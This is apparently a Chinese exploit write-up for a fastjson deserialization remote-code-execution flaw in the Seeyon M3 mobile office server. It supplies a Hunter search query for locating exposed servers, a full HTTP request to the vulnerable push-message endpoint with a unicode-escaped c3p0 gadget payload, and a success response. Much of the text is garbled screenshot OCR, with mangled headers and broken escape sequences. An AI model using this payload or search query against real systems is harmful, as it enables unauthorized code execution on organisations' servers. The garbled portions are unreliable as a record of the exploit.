# Z5-2致远互联-M3移动智能办公平台-反序列化RCE

# 漏洞描述:

M3移动办公是致远互联打造的一站式智能工作平台,提供全方位的企业移动业务管理,致力于构建以人为中心的智能化移动应用场景,促进人员工作积极性和创造力,提升企业效率和效能, 是为企业量身定制的移动智慧协同平台。 在致远M3 server中发现了一处fastjson反序列化漏洞,导致可以造成反序列化远程代码执行。 经过分析与研判,该漏洞利用难度低,能够造成远程命令 执行

# 网站图片:



#### ♠ M3-Server 已启动,您可以使用移动设备登录M3

当前服务器版本 : M3 Server 3.0.0 支持服务器版本 : G6 V8.0/G6-N V5.0 支持M3移动客户端最低版本 : M3 V3.4.0 Copyright © 2017 北京致迈互联软件般份有限公司 版权所有

# 网络测绘:

# Hunter 语法:

• hunter: web.icon="657d4895205951cbea6396701b194c30"

# 漏洞复现:

请求 payload:

POST/mobile\_portal/api/pns/message/send/batch/6\_1sp1 HTTP/1.1 Host: XXX User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xhtml+xml,application/xhtml+xml,application/xhtml+xml,application/xhtml+xml,application/xhtml+xml,application/xhtml+xml,application/xhtml+xml,application/xhtml+xml,application/xhtml+xml,application/spc.2 Accept-Encoding: gzip, deflate Connection: close Cookie: Hm\_lst\_82116c626a8d504a5c0675073362ef6=1666334057 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Type: application/json Content-Length: 3680

# [{"userMessageId":"

 $\frac{1}{16}(300074440079400070)400651/44)^{1/2}(400063400064400026400064400026400063400063400061/400066400067/400065400026400032/40026400063400063400070400057/40070400651/4007040065400032/4000264000631/40070400057/40070400651/4000651/4$ 

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响应
   请求
                                                                                                                                                                                                                                                              5 \n ≡
      羊化.
                                     Raw
                                                                    Hex
                                                                                                                                                                                                                                                                                                                             羊化.
                                                                                                                                                                                                                                                                                                                                                            Raw
                                                                                                                                                                                                                                                                                                                                                                                           Hex
                                                                                                                                                                                                                                                                                                                                                                                                                            币而渲染
    3 User-Agent: Mozilla/b.U (Windows NI b.2; Winb4; xb4; rv:109.U)
                                                                                                                                                                                                                                                                                                                               HTTP/1.1 200
         Gecko/20100101 Firefox/109.0
                                                                                                                                                                                                                                                                                                                                Access-Control-Allow-Origin: *
    4 Content-Length: 8956
                                                                                                                                                                                                                                                                                                                          3 Access-Control-Allow-Headers: origin, content-type, accept,
   5 Accept:
                                                                                                                                                                                                                                                                                                                                  authorization
         text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/w
                                                                                                                                                                                                                                                                                                                         4 Access-Control-Allow-Credentials: true
5 Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
           ebp. */*: a=0.8
   6 Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                                                                         6 Content-Type: application/json; charset=UTF-8
    7 Accept-Language:
                                                                                                                                                                                                                                                                                                                                Content-Length: 77
          zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2
                                                                                                                                                                                                                                                                                                                        8 Date: Fri, 19 Jan 2024 06:41:15 GMT
   8 Connection: close
                                                                                                                                                                                                                                                                                                                         9 Connection: close
   9 Content-Type: application/json
                                                                                                                                                                                                                                                                                                                     10 Server: SY8045
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
                                                                                                                                                                                                                                                                                                                     12 {
                                                                                                                                                                                                                                                                                                                                        "code":200,
"time":"2024-01-19 14:41:15",
"message":"Success",
"version":"1.0"
         Sec-Fetch-Site: none
13 Sec-Fetch-User: ?1
14 Upgrade-Insecure-Requests: 1
16 [
                               63 \verb|\u0068|\u0061|\u006e|\u0065|\u002e|\u0076|\u0032|\u002e|\u0063|\u0033|\u0032|\u0068|\u0063|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u0068|\u
                          \u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u
                         006f \\ \\ u006e \\ \\ u0065 \\ \\ u0063 \\ \\ u0074 \\ \\ u0069 \\ \\ u006f \\ \\ u006e \\ \\ u0050 \\ \\ u006f \\ \\ u006f
                         6 \verb|f| \verb|u|| 006 \verb|c|| \verb|u|| 0074 \verb|u|| 0061 \verb|u|| 0075 \verb|u|| 0075 \verb|u||| 0063 \verb|u||| 0065
                                       \"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0
                         064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\
                           \u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u007
                         0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070 0873726a6
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